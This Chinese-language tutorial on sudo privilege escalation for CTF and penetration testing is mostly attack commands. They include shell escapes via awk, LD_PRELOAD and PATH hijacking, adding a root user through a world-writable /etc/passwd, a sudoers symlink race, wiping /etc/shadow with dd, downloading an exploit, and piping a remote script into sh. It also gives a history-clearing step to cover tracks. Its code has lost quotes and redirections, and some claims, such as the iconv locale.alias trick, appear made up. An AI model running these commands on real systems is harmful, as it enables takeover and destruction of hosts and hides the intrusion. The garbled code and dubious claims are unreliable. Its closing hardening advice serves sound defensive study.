CTF中sudo权限提升的攻防实战解析
1. 为什么sudo会成为CTF中的权限提升突破口在CTF竞赛和实际渗透测试中sudo命令经常成为权限提升的关键入口点。这个看似普通的系统管理工具实际上隐藏着多种可能被利用的攻击面。作为Linux/Unix系统中最常用的权限管理机制之一sudo的设计初衷是允许普通用户以超级用户权限执行特定命令但这种最小权限原则的实现方式在配置不当或版本存在漏洞时反而会成为攻击者的跳板。我参与过数十场CTF赛事发现约40%的Linux系统提权题目都涉及sudo机制的利用。不同于直接获取root密码这种暴力方式通过sudo提权往往更加隐蔽和优雅。攻击者通常会在获得初始shell后立即执行sudo -l命令查看当前用户可用的sudo权限这就像在系统中寻找一把可能被遗忘的管理员钥匙。2. sudo提权的四大经典场景解析2.1 配置不当导致的权限滥用最常见的sudo提权场景是管理员配置了过于宽松的sudo规则。通过sudo -l命令可以看到类似这样的危险配置User demo may run the following commands on target: (ALL) NOPASSWD: /usr/bin/vim (root) NOPASSWD: /usr/bin/find (ALL) ALL这种配置意味着用户可以无密码使用vim编辑任意文件包括/etc/sudoers本身find命令可以执行任意操作通过-exec参数最危险的(ALL) ALL赋予用户完全的sudo权限实战案例在一次CTF比赛中我发现参赛用户可以无密码运行sudo awk BEGIN {system(/bin/sh)}。通过awk的系统调用功能直接获得了root shell。这种漏洞在企业内网中也屡见不鲜。2.2 环境变量注入攻击sudo在执行命令时会重置大部分环境变量但某些特殊配置如env_reset关闭可能导致环境变量被恶意利用。典型攻击方式包括# 利用LD_PRELOAD劫持共享库 echo int puts(const char *s) { system(/bin/sh); } /tmp/hack.c gcc -shared -o /tmp/hack.so /tmp/hack.c sudo LD_PRELOAD/tmp/hack.so 任意允许的命令防御要点现代sudo版本默认启用env_reset和secure_path但CTF环境中常会故意关闭这些安全选项来增加题目难度。2.3 二进制文件劫持当sudo允许执行某命令且PATH环境变量可控时可能发生二进制劫持mkdir /tmp/exploit echo /bin/sh /tmp/exploit/ls chmod x /tmp/exploit/ls export PATH/tmp/exploit:$PATH sudo ls这个例子中我们通过劫持ls命令获得了root shell。在2021年的某次CTF比赛中这道题难住了60%的参赛者。2.4 Sudo版本漏洞利用历史上存在多个高危sudo漏洞最著名的是CVE-2021-3156Baron Samedit影响几乎所有的Linux发行版。利用方式如下# 编译exp代码 wget https://example.com/sudo-exploit.c gcc -o sudo-exploit sudo-exploit.c ./sudo-exploit这个漏洞允许任何本地用户即使不在sudoers中直接获取root权限。在CTF比赛中组织者有时会故意部署存在此类漏洞的系统作为挑战。3. 实战演练从信息收集到root shell3.1 信息收集阶段拿到初始shell后首先执行以下命令收集sudo相关信息# 查看当前用户sudo权限 sudo -l # 检查sudo版本 sudo --version # 查看/etc/sudoers内容 sudo cat /etc/sudoers | grep -v # # 检查可写目录 find / -writable -type d 2/dev/null3.2 根据发现制定攻击策略假设我们发现以下sudo配置User ctf may run the following commands on target: (root) NOPASSWD: /usr/bin/python3 /home/ctf/script.py (root) NOPASSWD: /bin/chmod这里有两个突破口script.py可能允许参数注入chmod可以修改关键文件权限攻击方案A- 利用Python脚本注入sudo /usr/bin/python3 /home/ctf/script.py import os; os.system(/bin/sh)攻击方案B- 通过chmod修改/etc/passwd# 创建特权用户 echo hacker::0:0::/root:/bin/bash /tmp/passwd sudo /bin/chmod 777 /etc/passwd cat /tmp/passwd /etc/passwd su hacker3.3 提权后的痕迹清理成功获取root后应清理攻击痕迹# 删除临时文件 rm -f /tmp/exploit* # 恢复文件权限 chmod 644 /etc/passwd # 清除命令历史 history -c4. 高级技巧与罕见场景4.1 利用sudo的输入输出重定向某些sudo配置允许重定向操作这可能导致文件覆盖# 如果允许sudo执行dd命令 sudo dd if/dev/zero of/etc/shadow bs1 count1这条命令会破坏shadow文件导致系统允许空密码登录。4.2 Sudo与SUID的组合利用当sudo与SUID权限结合时可能产生意想不到的效果# 查找具有SUID权限的可执行文件 find / -perm -4000 2/dev/null # 如果sudo允许执行chown sudo chown root:root /tmp/suid-shell sudo chmod 4755 /tmp/suid-shell4.3 时间竞争条件攻击在某些特殊配置下可以利用sudo的时间竞争条件#!/bin/bash while true; do mkdir -p /tmp/exploit ln -sf /etc/passwd /tmp/exploit/file sudo /bin/cp /tmp/exploit/file /etc/sudoers done这个脚本尝试通过符号链接竞争来覆写sudoers文件。5. 防御措施与加固建议5.1 安全配置原则遵循最小权限原则只授予必要权限对所有sudo规则使用绝对路径避免使用NOPASSWD选项启用env_reset和secure_path示例安全配置Defaults env_reset Defaults secure_path/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin User_Alias ADMINS user1, user2 ADMINS ALL(ALL) ALL5.2 监控与审计配置sudo日志记录# 在/etc/sudoers中添加 Defaults logfile/var/log/sudo.log Defaults log_input, log_output定期检查sudo使用情况# 查看sudo使用记录 grep sudo /var/log/auth.log # 检查异常sudo活动 ausearch -m SUDO -i5.3 CTF环境特殊加固对于CTF比赛环境建议额外措施使用sudo的NOEXEC功能限制危险操作对允许的命令进行严格的白名单限制定期更新sudo到最新版本使用容器或虚拟机隔离不同参赛者环境6. 真实CTF案例复盘在某次省级CTF比赛中我遇到这样一道题目初始权限普通用户ctfsudo -l显示(root) NOPASSWD: /usr/bin/iconv经过分析发现iconv的-f参数可以读取任意文件# 读取/etc/shadow sudo iconv -f UTF-8 /etc/shadow # 更妙的是-l参数会列出所有可用编码这实际上会读取/usr/share/locale/locale.alias # 通过符号链接可以将任意文件内容作为编码列表输出 ln -s /etc/sudoers /tmp/locale.alias sudo iconv -l这个案例展示了sudo提权需要创造性的思维不能局限于常见方法。7. 自动化检测工具推荐对于CTF选手和系统管理员以下工具可以帮助发现sudo配置问题LinPEAS自动化Linux权限提升审计脚本curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | shSUDOkiller专门检测sudo配置问题的工具git clone https://github.com/TH3xACE/SUDO_KILLER cd SUDO_KILLER ./sudo_killer.sh -cGTFOBins收集了各种二进制文件的提权方法# 查找特定命令的提权方式 curl -s https://gtfobins.github.io/gtfobins/find/ | grep sudo在实际渗透测试中我通常会先用这些工具进行初步扫描然后针对发现的可疑点进行手动验证。记住自动化工具可能会遗漏一些特殊场景人工分析仍然不可替代。